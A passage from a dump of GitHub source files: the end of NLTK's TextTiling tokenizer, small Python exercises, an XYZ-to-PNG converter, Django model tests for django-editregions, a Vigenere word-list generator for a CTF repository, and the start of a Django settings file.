range(0, len(wrdindex_list), w)\n ]\n\n def _create_token_table(self, token_sequences, par_breaks):\n \"Creates a table of TokenTableFields\"\n token_table = {}\n current_par = 0\n current_tok_seq = 0\n pb_iter = par_breaks.__iter__()\n current_par_break = next(pb_iter)\n if current_par_break == 0:\n try:\n current_par_break = next(pb_iter) # skip break at 0\n except StopIteration as e:\n raise ValueError(\n \"No paragraph breaks were found(text too short perhaps?)\"\n ) from e\n for ts in token_sequences:\n for word, index in ts.wrdindex_list:\n try:\n while index > current_par_break:\n current_par_break = next(pb_iter)\n current_par += 1\n except StopIteration:\n # hit bottom\n pass\n\n if word in token_table:\n token_table[word].total_count += 1\n\n if token_table[word].last_par != current_par:\n token_table[word].last_par = current_par\n token_table[word].par_count += 1\n\n if token_table[word].last_tok_seq != current_tok_seq:\n token_table[word].last_tok_seq = current_tok_seq\n token_table[word].ts_occurences.append([current_tok_seq, 1])\n else:\n token_table[word].ts_occurences[-1][1] += 1\n else: # new word\n token_table[word] = TokenTableField(\n first_pos=index,\n ts_occurences=[[current_tok_seq, 1]],\n total_count=1,\n par_count=1,\n last_par=current_par,\n last_tok_seq=current_tok_seq,\n )\n\n current_tok_seq += 1\n\n return token_table\n\n def _identify_boundaries(self, depth_scores):\n \"\"\"Identifies boundaries at the peaks of similarity score\n differences\"\"\"\n\n boundaries = [0 for x in depth_scores]\n\n avg = sum(depth_scores) / len(depth_scores)\n stdev = numpy.std(depth_scores)\n\n if self.cutoff_policy == LC:\n cutoff = avg - stdev\n else:\n cutoff = avg - stdev / 2.0\n\n depth_tuples = sorted(zip(depth_scores, range(len(depth_scores))))\n depth_tuples.reverse()\n hp = list(filter(lambda x: x[0] > cutoff, depth_tuples))\n\n for dt in hp:\n boundaries[dt[1]] = 1\n for dt2 in hp: # undo if there is a boundary close already\n if (\n dt[1] != dt2[1]\n and abs(dt2[1] - dt[1]) < 4\n and boundaries[dt2[1]] == 1\n ):\n boundaries[dt[1]] = 0\n return boundaries\n\n def _depth_scores(self, scores):\n \"\"\"Calculates the depth of each gap, i.e. the average difference\n between the left and right peaks and the gap's score\"\"\"\n\n depth_scores = [0 for x in scores]\n # clip boundaries: this holds on the rule of thumb(my thumb)\n # that a section shouldn't be smaller than at least 2\n # pseudosentences for small texts and around 5 for larger ones.\n\n clip = min(max(len(scores) // 10, 2), 5)\n index = clip\n\n for gapscore in scores[clip:-clip]:\n lpeak = gapscore\n for score in scores[index::-1]:\n if score >= lpeak:\n lpeak = score\n else:\n break\n rpeak = gapscore\n for score in scores[index:]:\n if score >= rpeak:\n rpeak = score\n else:\n break\n depth_scores[index] = lpeak + rpeak - 2 * gapscore\n index += 1\n\n return depth_scores\n\n def _normalize_boundaries(self, text, boundaries, paragraph_breaks):\n \"\"\"Normalize the boundaries identified to the original text's\n paragraph breaks\"\"\"\n\n norm_boundaries = []\n char_count, word_count, gaps_seen = 0, 0, 0\n seen_word = False\n\n for char in text:\n char_count += 1\n if char in \" \\t\\n\" and seen_word:\n seen_word = False\n word_count += 1\n if char not in \" \\t\\n\" and not seen_word:\n seen_word = True\n if gaps_seen < len(boundaries) and word_count > (\n max(gaps_seen * self.w, self.w)\n ):\n if boundaries[gaps_seen] == 1:\n # find closest paragraph break\n best_fit = len(text)\n for br in paragraph_breaks:\n if best_fit > abs(br - char_count):\n best_fit = abs(br - char_count)\n bestbr = br\n else:\n break\n if bestbr not in norm_boundaries: # avoid duplicates\n norm_boundaries.append(bestbr)\n gaps_seen += 1\n\n return norm_boundaries\n\n\nclass TokenTableField:\n \"\"\"A field in the token table holding parameters for each token,\n used later in the process\"\"\"\n\n def __init__(\n self,\n first_pos,\n ts_occurences,\n total_count=1,\n par_count=1,\n last_par=0,\n last_tok_seq=None,\n ):\n self.__dict__.update(locals())\n del self.__dict__[\"self\"]\n\n\nclass TokenSequence:\n \"A token list with its original length and its index\"\n\n def __init__(self, index, wrdindex_list, original_length=None):\n original_length = original_length or len(wrdindex_list)\n self.__dict__.update(locals())\n del self.__dict__[\"self\"]\n\n\n# Pasted from the SciPy cookbook: https://www.scipy.org/Cookbook/SignalSmooth\ndef smooth(x, window_len=11, window=\"flat\"):\n \"\"\"smooth the data using a window with requested size.\n\n This method is based on the convolution of a scaled window with the signal.\n The signal is prepared by introducing reflected copies of the signal\n (with the window size) in both ends so that transient parts are minimized\n in the beginning and end part of the output signal.\n\n :param x: the input signal\n :param window_len: the dimension of the smoothing window; should be an odd integer\n :param window: the type of window from 'flat', 'hanning', 'hamming', 'bartlett', 'blackman'\n flat window will produce a moving average smoothing.\n\n :return: the smoothed signal\n\n example::\n\n t=linspace(-2,2,0.1)\n x=sin(t)+randn(len(t))*0.1\n y=smooth(x)\n\n :see also: numpy.hanning, numpy.hamming, numpy.bartlett, numpy.blackman, numpy.convolve,\n scipy.signal.lfilter\n\n TODO: the window parameter could be the window itself if an array instead of a string\n \"\"\"\n\n if x.ndim != 1:\n raise ValueError(\"smooth only accepts 1 dimension arrays.\")\n\n if x.size < window_len:\n raise ValueError(\"Input vector needs to be bigger than window size.\")\n\n if window_len < 3:\n return x\n\n if window not in [\"flat\", \"hanning\", \"hamming\", \"bartlett\", \"blackman\"]:\n raise ValueError(\n \"Window is on of 'flat', 'hanning', 'hamming', 'bartlett', 'blackman'\"\n )\n\n s = numpy.r_[2 * x[0] - x[window_len:1:-1], x, 2 * x[-1] - x[-1:-window_len:-1]]\n\n # print(len(s))\n if window == \"flat\": # moving average\n w = numpy.ones(window_len, \"d\")\n else:\n w = eval(\"numpy.\" + window + \"(window_len)\")\n\n y = numpy.convolve(w / w.sum(), s, mode=\"same\")\n\n return y[window_len - 1 : -window_len + 1]\n\n\ndef demo(text=None):\n from matplotlib import pylab\n\n from nltk.corpus import brown\n\n tt = TextTilingTokenizer(demo_mode=True)\n if text is None:\n text = brown.raw()[:10000]\n s, ss, d, b = tt.tokenize(text)\n pylab.xlabel(\"Sentence Gap index\")\n pylab.ylabel(\"Gap Scores\")\n pylab.plot(range(len(s)), s, label=\"Gap Scores\")\n pylab.plot(range(len(ss)), ss, label=\"Smoothed Gap scores\")\n pylab.plot(range(len(d)), d, label=\"Depth scores\")\n pylab.stem(range(len(b)), b)\n pylab.legend()\n pylab.show()\n","repo_name":"nltk/nltk","sub_path":"nltk/tokenize/texttiling.py","file_name":"texttiling.py","file_ext":"py","file_size_in_byte":16282,"program_lang":"python","lang":"en","doc_type":"code","stars":12541,"dataset":"github-code","pt":"75"} +{"seq_id":"37804707879","text":"a = int(input(\"Введите сколько пробежал спортмен в первый день: \"))\nb = int(input(\"Введите его желание, то сколько он хочет бегать: \"))\n\ndays = 1\nrun = a\n\nwhile run < b:\n a = 0.1 * a + a\n run = run + a\n days += 1\n\nprint(\"На {} день спортсмен достигнет результата\".format(days))\n","repo_name":"MrMackShadow/Python-","sub_path":"Dz7.py","file_name":"Dz7.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14961714697","text":"#!/usr/bin/python\nimport io\nimport struct\nimport sys\nimport zlib\nfrom PIL import Image\n\nif len(sys.argv) < 3:\n\tprint >>sys.stderr, 'Usage: ' + sys.argv[0] + ' INPUT OUPTUT'\n\tsys.exit(1)\n\ninput_path = sys.argv[1]\noutput_path = sys.argv[2]\n\nwith open(input_path, 'rb') as input_fh:\n\tmagic = input_fh.read(4)\n\tif magic != 'XYZ1':\n\t\tprint >>sys.stderr, 'Unsupported file type: ' + magic\n\t\tsys.exit(1)\n\twidth, height = struct.unpack('=HH', input_fh.read(4))\n\trest = input_fh.read()\n\trest = zlib.decompress(rest)\n\trest = io.BytesIO(rest)\n\tpalette = []\n\tfor x in range(256):\n\t\tr, g, b = struct.unpack('=3B', rest.read(3))\n\t\tpalette.append((r, g, b))\n\n\toutput_image = Image.new('RGBA', (width, height))\n\toutput_pixels = output_image.load()\n\n\tfor y in range(height):\n\t\tfor x in range(width):\n\t\t\toutput_pixels[x,y] = palette[ord(rest.read(1))]\n\n\toutput_image.save(output_path)\n","repo_name":"vn-tools/xyz2png","sub_path":"xyz2png.py","file_name":"xyz2png.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"71024438642","text":"# -*- coding: utf-8 -*-\nfrom uuid import uuid4\nfrom django.contrib import admin\nfrom django.contrib.admin.sites import NotRegistered\nfrom django.contrib.auth.admin import UserAdmin\nfrom django.core.exceptions import ImproperlyConfigured\nfrom django.template import Template, TemplateDoesNotExist\nfrom django.test.utils import override_settings\nfrom editregions.querying import EditRegionChunkManager\nfrom editregions.utils.versioning import is_django_17plus\n\ntry:\n from unittest.case import TestCase\nexcept ImportError:\n from django.utils.unittest.case import TestCase\nfrom django.test import TestCase as DjangoTestCase\nfrom model_utils.managers import (PassThroughManager, InheritanceManager,\n InheritanceQuerySet)\nfrom editregions.contrib.embeds.models import Iframe\nfrom editregions.models import EditRegionChunk, EditRegionConfiguration\nfrom editregions.utils.data import get_content_type\nfrom django.contrib.auth.models import User, Group, Permission\n\ntry:\n from django.utils.encoding import force_text\nexcept ImportError:\n from django.utils.encoding import force_unicode as force_text\n\n\nclass TestUserAdmin(UserAdmin):\n def get_editregions_templates(self, obj):\n return ['sample_editregion_template.html']\n\n\nclass TestBadUserAdmin(UserAdmin):\n def get_editregions_templates(self, obj):\n return ['x/y/z.html']\n\n\nclass EditRegionChunkTestCase(DjangoTestCase):\n @classmethod\n def setUpClass(cls):\n try:\n admin.site.unregister(User)\n except NotRegistered:\n pass\n admin.site.register(User, TestUserAdmin)\n\n def setUp(self):\n sample_user, created = User.objects.get_or_create(username='test')\n user_ct = get_content_type(sample_user)\n base = EditRegionChunk(region='test', position=0,\n content_id=sample_user.pk, content_type=user_ct)\n base.full_clean()\n base.save()\n other = EditRegionChunk(region='test', position=1,\n content_id=sample_user.pk, content_type=user_ct)\n other.full_clean()\n other.save()\n self.model_dependencies = {\n 'user': sample_user,\n }\n self.chunks = {\n 'base': base,\n 'other': other,\n }\n\n def test_cleaning_doesnt_change_position_anymore(self):\n erc = EditRegionChunk(region='test', position=0,\n content_id=str(uuid4()),\n content_type=get_content_type(User))\n erc.full_clean()\n self.assertEqual(erc.position, 0)\n\n def test_repr(self):\n user_ct = get_content_type(self.model_dependencies['user'])\n expected = (''.format(USER=user_ct))\n received = repr(self.chunks['base'])\n self.assertEqual(expected, received)\n\n def test_str(self):\n expected = 'pk=1, region=test, position=0'\n received = force_text(self.chunks['base'])\n self.assertEqual(expected, received)\n\n def test_has_managers(self):\n self.assertIsInstance(getattr(EditRegionChunk, 'objects', None),\n EditRegionChunkManager)\n\n self.assertIsInstance(getattr(EditRegionChunk, 'polymorphs', None),\n InheritanceManager)\n\n self.assertIsInstance(EditRegionChunk.polymorphs.all(),\n InheritanceQuerySet)\n\n self.assertIsInstance(EditRegionChunk.polymorphs.select_subclasses(),\n InheritanceQuerySet)\n\n def test_content_object_was_bound(self):\n expected = self.model_dependencies['user']\n received = self.chunks['base'].content_object\n self.assertEqual(expected, received)\n\n\nclass EditRegionConfigurationTestCase(DjangoTestCase):\n def setUp(self):\n sample_user, created = User.objects.get_or_create(username='test')\n self.model_dependencies = {\n 'user': sample_user,\n }\n\n def test_configure_basic(self):\n user = self.model_dependencies['user']\n blank_conf = EditRegionConfiguration()\n blank_conf.configure(obj=user)\n self.assertEqual(blank_conf.obj, user)\n self.assertTrue(blank_conf.has_configuration)\n self.assertEqual(blank_conf.config, {})\n\n def test_configure_template_not_discovered(self):\n user = self.model_dependencies['user']\n blank_conf = EditRegionConfiguration()\n\n try:\n admin.site.unregister(User)\n except NotRegistered:\n pass\n admin.site.register(User, TestBadUserAdmin)\n\n with self.settings(DEBUG=True):\n with self.assertRaises(TemplateDoesNotExist):\n blank_conf.configure(obj=user)\n\n with self.settings(DEBUG=False):\n blank_conf.configure(obj=user)\n self.assertFalse(blank_conf.has_configuration)\n\n def test_configure_template_discovered(self):\n \"\"\"\n We can't test for the Template instance directly, as it's no longer\n exposed on the object.\n Given the template `sample_editregion_template.html` has nothing in it,\n the config should become an empty dict.\n \"\"\"\n user = self.model_dependencies['user']\n blank_conf = EditRegionConfiguration()\n blank_conf.configure(obj=user)\n self.assertEqual({}, blank_conf.config)\n\n def test_get_first_valid_template(self):\n blank_conf = EditRegionConfiguration()\n templates = ['sample_editregion_template.html']\n received = blank_conf.get_first_valid_template(\n possible_templates=templates)\n self.assertIsInstance(received, Template)\n\n def test_get_first_valid_template_failed(self):\n blank_conf = EditRegionConfiguration()\n templates = ['zzzzzz.html']\n received = blank_conf.get_first_valid_template(\n possible_templates=templates)\n self.assertIsNone(received)\n\n def test_get_first_valid_template_string_input(self):\n blank_conf = EditRegionConfiguration()\n templates = 'sample_editregion_template.html'\n received = blank_conf.get_first_valid_template(\n possible_templates=templates)\n self.assertIsInstance(received, Template)\n\n def test_get_template_region_configuration(self):\n blank_conf = EditRegionConfiguration()\n template = Template('''{\n \"x\": {\n \"name\": \"test\"\n }\n }''')\n raw_config = blank_conf.decode_template_region_configuration(\n template_instance=template)\n result = blank_conf.get_template_region_configuration(\n raw_data=raw_config)\n self.assertEqual(result, {\n 'x': {'name': 'test', 'models': {}},\n })\n\n def test_get_template_region_configuration_no_names_fallback(self):\n blank_conf = EditRegionConfiguration()\n template = Template('''{\n \"x\": {}\n }''')\n raw_config = blank_conf.decode_template_region_configuration(\n template_instance=template)\n result = blank_conf.get_template_region_configuration(\n raw_data=raw_config)\n self.assertEqual(result, {\n 'x': {'name': 'x', 'models': {}},\n })\n\n def test_get_template_region_configuration_failed_json_decoding(self):\n blank_conf = EditRegionConfiguration()\n template = Template(\"xyz\")\n with self.assertRaisesRegexp(ValueError,\n r'No JSON object could be decoded'):\n blank_conf.decode_template_region_configuration(\n template_instance=template)\n\n def test_get_enabled_chunks_for_region_empty(self):\n blank_conf = EditRegionConfiguration()\n expected = {}\n received = blank_conf.get_enabled_chunks_for_region({})\n self.assertEqual(expected, received)\n\n def test_get_enabled_chunks_for_region(self):\n blank_conf = EditRegionConfiguration()\n expected = {User: 1, Group: None}\n received = blank_conf.get_enabled_chunks_for_region({\n 'auth.User': 1,\n 'auth.Group': None\n })\n self.assertEqual(expected, received)\n\n @override_settings(DEBUG=False)\n def test_get_enabled_chunks_for_region_bad_models_silent_fail(self):\n blank_conf = EditRegionConfiguration()\n expected = {User: 1, Group: None}\n received = blank_conf.get_enabled_chunks_for_region({\n 'auth.User': 1,\n 'auth.Group': None,\n 'x.Y': 1,\n })\n self.assertEqual(expected, received)\n\n @override_settings(DEBUG=True)\n def test_get_enabled_chunks_for_region_bad_models_loud_fail(self):\n blank_conf = EditRegionConfiguration()\n error = ImproperlyConfigured\n if is_django_17plus():\n error = LookupError\n with self.assertRaises(error):\n blank_conf.get_enabled_chunks_for_region({\n 'x.Y': 1,\n })\n\n @override_settings(DEBUG=True)\n def test_get_enabled_chunks_for_region_bad_models_loud_fail2(self):\n blank_conf = EditRegionConfiguration()\n with self.assertRaisesRegexp(ImproperlyConfigured,\n r'Unable to load model \"Y\" from app \"auth\"'): # noqa\n blank_conf.get_enabled_chunks_for_region({\n 'auth.Y': 1,\n })\n\n def test_get_limits_for_no_models(self):\n blank_conf = EditRegionConfiguration()\n template = Template('''{\n \"x\": {\n \"name\": \"test\"\n }\n }''')\n blank_conf.raw_config = blank_conf.decode_template_region_configuration(\n template_instance=template)\n blank_conf.config = blank_conf.get_template_region_configuration(\n raw_data=blank_conf.raw_config)\n result = blank_conf.get_limits_for(region='x', chunk=User)\n self.assertEqual(0, result)\n\n def test_get_limits_for(self):\n blank_conf = EditRegionConfiguration()\n template = Template('''{\n \"x\": {\n \"name\": \"test\",\n \"models\": {\n \"auth.User\": 1,\n \"auth.Group\": 0,\n \"auth.Permission\": null\n }\n }\n }''')\n blank_conf.raw_config = blank_conf.decode_template_region_configuration(\n template_instance=template)\n blank_conf.config = blank_conf.get_template_region_configuration(\n raw_data=blank_conf.raw_config)\n result = blank_conf.get_limits_for(region='x', chunk=User)\n self.assertEqual(1, result)\n # 0 means don't show up!\n result = blank_conf.get_limits_for(region='x', chunk=Group)\n self.assertEqual(0, result)\n result = blank_conf.get_limits_for(region='x', chunk=Permission)\n self.assertEqual(None, result)\n\n def test_fetch_chunks_for_no_obj_debug_false(self):\n blank_conf = EditRegionConfiguration()\n template = Template('''{\n \"x\": {\n \"name\": \"test\"\n }\n }''')\n blank_conf.raw_config = blank_conf.decode_template_region_configuration(\n template_instance=template)\n blank_conf.config = blank_conf.get_template_region_configuration(\n raw_data=blank_conf.raw_config)\n with self.settings(DEBUG=False):\n result = blank_conf.fetch_chunks_for(region='x')\n self.assertEqual([], result)\n\n def test_fetch_chunks_for_no_obj_debug_true(self):\n blank_conf = EditRegionConfiguration()\n template = Template('''{\n \"x\": {\n \"name\": \"test\"\n }\n }''')\n blank_conf.raw_config = blank_conf.decode_template_region_configuration(\n template_instance=template)\n blank_conf.config = blank_conf.get_template_region_configuration(\n raw_data=blank_conf.raw_config)\n\n with self.settings(DEBUG=True):\n with self.assertRaises(ImproperlyConfigured):\n blank_conf.fetch_chunks_for(region='x')\n\n def test_fetch_chunks_for_obj(self):\n user, created = User.objects.get_or_create(username='test')\n blank_conf = EditRegionConfiguration(obj=user)\n template = Template('''{\n \"x\": {\n \"name\": \"test\"\n }\n }''')\n blank_conf.raw_config = blank_conf.decode_template_region_configuration(\n template_instance=template)\n blank_conf.config = blank_conf.get_template_region_configuration(\n raw_data=blank_conf.raw_config)\n results = blank_conf.fetch_chunks_for(region='x')\n self.assertEqual([], results)\n\n def test_fetch_chunks_for_obj_noregions(self):\n user, created = User.objects.get_or_create(username='test')\n blank_conf = EditRegionConfiguration(obj=user)\n template = Template('''{\n }''')\n blank_conf.raw_config = blank_conf.decode_template_region_configuration(\n template_instance=template)\n blank_conf.config = blank_conf.get_template_region_configuration(\n raw_data=blank_conf.raw_config)\n results = blank_conf.fetch_chunks_for(region='x')\n self.assertEqual((), results)\n\n def test_fetch_chunks_for_obj_manyregions(self):\n user, created = User.objects.get_or_create(username='test')\n blank_conf = EditRegionConfiguration(obj=user)\n template = Template('''{\n \"x\": {},\n \"y\": {},\n \"z\": {}\n }''')\n blank_conf.raw_config = blank_conf.decode_template_region_configuration(\n template_instance=template)\n blank_conf.config = blank_conf.get_template_region_configuration(\n raw_data=blank_conf.raw_config)\n results = blank_conf.fetch_chunks_for(region='x')\n self.assertEqual([], results)\n\n def test_fetch_chunks(self):\n user, created = User.objects.get_or_create(username='test')\n blank_conf = EditRegionConfiguration(obj=user)\n template = Template('''{\n \"x\": {},\n \"y\": {},\n \"z\": {}\n }''')\n blank_conf.raw_config = blank_conf.decode_template_region_configuration(\n template_instance=template)\n blank_conf.config = blank_conf.get_template_region_configuration(\n raw_data=blank_conf.raw_config)\n results = blank_conf.fetch_chunks()\n self.assertEqual(dict(results), {u'y': [], u'x': [], u'z': []})\n\n def test_json_serializer(self):\n user, created = User.objects.get_or_create(username='test')\n blank_conf = EditRegionConfiguration(obj=user)\n template = Template('''{\n \"test\": {\n \"name\": \"whee!\",\n \"models\": {\n \"embeds.Iframe\": 2\n }\n },\n \"test2\": {\n \"name\": \"oh my goodness, another test region\",\n \"models\": {\n \"embeds.Iframe\": 1\n }\n },\n \"test3\": {\n \"name\": \"oh my goodness, yet another test region\",\n \"models\": {\n \"embeds.Iframe\": null\n }\n }\n }''')\n blank_conf.raw_config = blank_conf.decode_template_region_configuration(\n template_instance=template)\n blank_conf.config = blank_conf.get_template_region_configuration(\n raw_data=blank_conf.raw_config)\n self.assertEqual(dict(blank_conf.config), {\n 'test': {\n 'models': {\n Iframe: 2\n },\n 'name': 'whee!'\n },\n 'test2': {\n 'models': {\n Iframe: 1\n },\n 'name': 'oh my goodness, another test region'\n },\n 'test3': {\n 'models': {\n Iframe: None,\n },\n 'name': 'oh my goodness, yet another test region'\n }\n })\n results = blank_conf.fetch_chunks()\n self.assertEqual(dict(results), {'test': [], 'test3': [], 'test2': []})\n\n def test_dissecting_subclasses(self):\n args = (\n 'zzz__yyy__xxx',\n 'a',\n 'b',\n 'zzz__yyy',\n 'c',\n 'zzz',\n 'e',\n 'f',\n 'c__d',\n 'g',\n 'h',\n 'i',\n 'j',\n 'k',\n )\n expected = (\n ('c', 'c__d'),\n ('zzz', 'zzz__yyy', 'zzz__yyy__xxx'),\n ('a', 'b', 'e', 'f', 'g', 'h', 'i'),\n ('j', 'k'),\n )\n blank_conf = EditRegionConfiguration()\n result = blank_conf._dissect_subclasses(args, split_after=7)\n self.assertEqual(result, expected)\n\n def test_dissecting_subclasses_not_enough(self):\n args = ('a', 'b', 'c', 'd', 'e', 'f')\n blank_conf = EditRegionConfiguration()\n result = blank_conf._dissect_subclasses(args, split_after=7)\n self.assertEqual(result, (args,))\n\n def test_dissecting_subclasses_one_leftover(self):\n args = ('a', 'b', 'c', 'd', 'e', 'f', 'g')\n blank_conf = EditRegionConfiguration()\n result = blank_conf._dissect_subclasses(args, split_after=3)\n expected = (('a', 'b', 'c'), ('d', 'e', 'f', 'g'))\n self.assertEqual(result, expected)\n\n def test_dissecting_subclasses_one_leftover_crossing_relations(self):\n args = ('a', 'b', 'c', 'a__b', 'd', 'e', 'f', 'g')\n blank_conf = EditRegionConfiguration()\n result = blank_conf._dissect_subclasses(args, split_after=5)\n expected = (('a', 'a__b'), ('b', 'c', 'd', 'e', 'f', 'g'))\n self.assertEqual(result, expected)\n\n def test_dissecting_subclasses_with_stupid_skip(self):\n \"\"\"\n with a split of 1, don't conjoin the last relation with the previous\n eg, don't do: ('a', ('b', 'c')), instead do: (('a',), ('b',), ('c',))\n\n grandparents and stuff are still all selected at once, you cretin.\n \"\"\"\n args = ('a', 'b', 'c', 'a__b', 'd', 'e', 'f', 'g')\n blank_conf = EditRegionConfiguration()\n result = blank_conf._dissect_subclasses(args, split_after=1)\n expected = (\n ('a', 'a__b'),\n ('b',),\n ('c',),\n ('d',),\n ('e',),\n ('f',),\n ('g',)\n )\n self.assertEqual(result, expected)\n\n def test_dissecting_subclasses_with_short_items(self):\n args = ('a',)\n blank_conf = EditRegionConfiguration()\n result = blank_conf._dissect_subclasses(args, split_after=7)\n expected = (args,)\n self.assertEqual(result, expected)\n\n def test_dissecting_subclasses_with_no_items(self):\n args = ()\n blank_conf = EditRegionConfiguration()\n result = blank_conf._dissect_subclasses(args, split_after=7)\n expected = ()\n self.assertEqual(result, expected)\n\n def test_dissecting_subclasses_with_only_deep_descendants(self):\n args = ('a', 'b', 'a__c', 'b__d', 'b__d__e', 'a__e')\n blank_conf = EditRegionConfiguration()\n result = blank_conf._dissect_subclasses(args, split_after=7)\n expected = (('a', 'a__c', 'a__e'), ('b', 'b__d', 'b__d__e'))\n self.assertEqual(result, expected)\n\n\nclass EditRegionConfigurationOperatorsTestCase(TestCase):\n def test_equality(self):\n blank_conf = EditRegionConfiguration()\n blank_conf.has_configuration = True\n blank_conf.config = {'x': 1, 'y': 2}\n blank_conf2 = EditRegionConfiguration()\n blank_conf2.has_configuration = True\n blank_conf2.config = {'x': 1, 'y': 2}\n self.assertEqual(blank_conf, blank_conf2)\n\n def test_inequality(self):\n blank_conf = EditRegionConfiguration()\n blank_conf.has_configuration = True\n blank_conf.config = {'x': 1, 'y': 2}\n blank_conf2 = EditRegionConfiguration()\n blank_conf2.has_configuration = True\n blank_conf2.config = {'x': 1}\n self.assertNotEqual(blank_conf, blank_conf2)\n\n def test_lessthan(self):\n blank_conf = EditRegionConfiguration()\n blank_conf.has_configuration = True\n blank_conf.config = {'x': 1, 'y': 2}\n blank_conf2 = EditRegionConfiguration()\n blank_conf2.has_configuration = True\n blank_conf2.config = {'x': 1}\n self.assertLess(blank_conf2, blank_conf)\n\n def test_lessthanequal(self):\n blank_conf = EditRegionConfiguration()\n blank_conf.has_configuration = True\n blank_conf.config = {'x': 1, 'y': 2}\n blank_conf2 = EditRegionConfiguration()\n blank_conf2.has_configuration = True\n blank_conf2.config = {'x': 1}\n self.assertLessEqual(blank_conf2, blank_conf)\n\n def test_greaterthan(self):\n blank_conf = EditRegionConfiguration()\n blank_conf.has_configuration = True\n blank_conf.config = {'x': 1, 'y': 2}\n blank_conf2 = EditRegionConfiguration()\n blank_conf2.has_configuration = True\n blank_conf2.config = {'x': 1}\n self.assertGreater(blank_conf, blank_conf2)\n\n def test_greaterthanequal(self):\n blank_conf = EditRegionConfiguration()\n blank_conf.has_configuration = True\n blank_conf.config = {'x': 1, 'y': 2}\n blank_conf2 = EditRegionConfiguration()\n blank_conf2.has_configuration = True\n blank_conf2.config = {'x': 1}\n self.assertGreaterEqual(blank_conf, blank_conf2)\n\n def test_bool(self):\n blank_conf = EditRegionConfiguration()\n blank_conf.has_configuration = True\n blank_conf.config = {'x': 1}\n self.assertTrue(blank_conf)\n\n blank_conf2 = EditRegionConfiguration()\n self.assertFalse(blank_conf2)\n","repo_name":"kezabelle/django-editregions","sub_path":"editregions/tests/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":21978,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"75201058483","text":"import csv\n \ndelimit = '\\t'\n\nwith open('group.csv','r') as csv_file:\n csv_read = csv.reader(csv_file)\n \n with open('new_group.csv', 'w') as new_file:\n csv_write = csv.writer(new_file, delimiter=delimit)\n \n # Skips one line\n for line in csv_read:\n csv_write.writerow(line)\n \n# Dict facilita a compreensão do código, \n# pois usa key names ['nome','id'] , invés de índices [0,1,2..]\nwith open('new_group.csv','r') as csv_file:\n csv_read = csv.DictReader(csv_file, delimiter=delimit)\n \n with open('dic_group.csv','w') as new_file:\n # Não são índices quaisquer, utilizar os padrões\n fdnames = ['group_name', 'group_owner','group_code']\n csv_write = csv.DictWriter(new_file, fieldnames=fdnames) \n \n csv_write.writeheader()\n\n for line in csv_read:\n del line['group_code']\n csv_write.writerow(line)\n\n","repo_name":"lucaspagliari/python-studies","sub_path":"data/tipos de dados/csv/csv module.py","file_name":"csv module.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"20576944434","text":"#!/usr/bin/env python3\nimport random\nfrom vigenere import encrypt, decrypt, random_key\nimport sys\n\nsys.setrecursionlimit(5000)\n\nwordlist = open(\"wordlist/words.txt\", \"r\")\nwords = wordlist.readlines()\nused = []\n\ndef generate_word():\n index = random.randint(0, len(words)-1)\n if index not in used:\n used.append(index)\n return words[index][0:len(words[index]) - 1]\n return generate_word()\n\nentries = []\nentries_plain = []\nentries_cipher = []\ncipher_key:str = \"topics\"\nfor i in range(2000):\n word = generate_word()\n cipher = encrypt(generate_word(), cipher_key)\n entries.append(word + \", \" + cipher + \"\\n\")\n entries_plain.append(word + \"\\n\")\n entries_cipher.append(cipher + \"\\n\")\n\nf = open('db/entries_cipher.txt', 'w')\nf.writelines(entries_cipher)\nf = open('db/entries_plain.txt', 'w')\nf.writelines(entries_plain)\nf = open('db/entries.txt', 'w')\nf.writelines(entries)\n","repo_name":"sachiniyer/annoying-ctf","sub_path":"db/gen_topics.py","file_name":"gen_topics.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6404001483","text":"from pathlib import Path\nimport os\nfrom datetime import timedelta\n\n\n# Build paths inside the project like this: BASE_DIR / 'subdir'.\nBASE_DIR = Path(__file__).resolve().parent.parent\n\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/4.1/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = os.environ.get('SECRET_KEY')\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = str(os.environ.get('DEBUG')) == '1'\n\nALLOWED_HOSTS = []\n\n\n# Application definition\n\nINSTALLED_APPS = [\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles', # required for serving swagger ui's css/js files\n 'tasks', \n 'rest_framework',\n 'rest_framework.authtoken', \n 'dj_rest_auth', \n 'import_export', \n 'django.contrib.sites', \n 'allauth', \n 'allauth.account',\n 'allauth.socialaccount',\n 'allauth.socialaccount.providers.google',\n 'allauth.socialaccount.providers.facebook',\n 'allauth.socialaccount.providers.twitter',\n 'dj_rest_auth.registration', \n 'drf_yasg', \n 'corsheaders',\n 'rest_framework_simplejwt'\n]\n\nSITE_ID = 1\n\nMIDDLEWARE = [\n 'django.middleware.security.SecurityMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'corsheaders.middleware.CorsMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n]\n\nROOT_URLCONF = 'ftm.urls'\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n ],\n },\n },\n]\n\nWSGI_APPLICATION = 'ftm.wsgi.application'\n\n\n# Database\n# https://docs.djangoproject.com/en/4.1/ref/settings/#databases\n\nDATABASES = {\n 'default': {\n 'ENGINE': 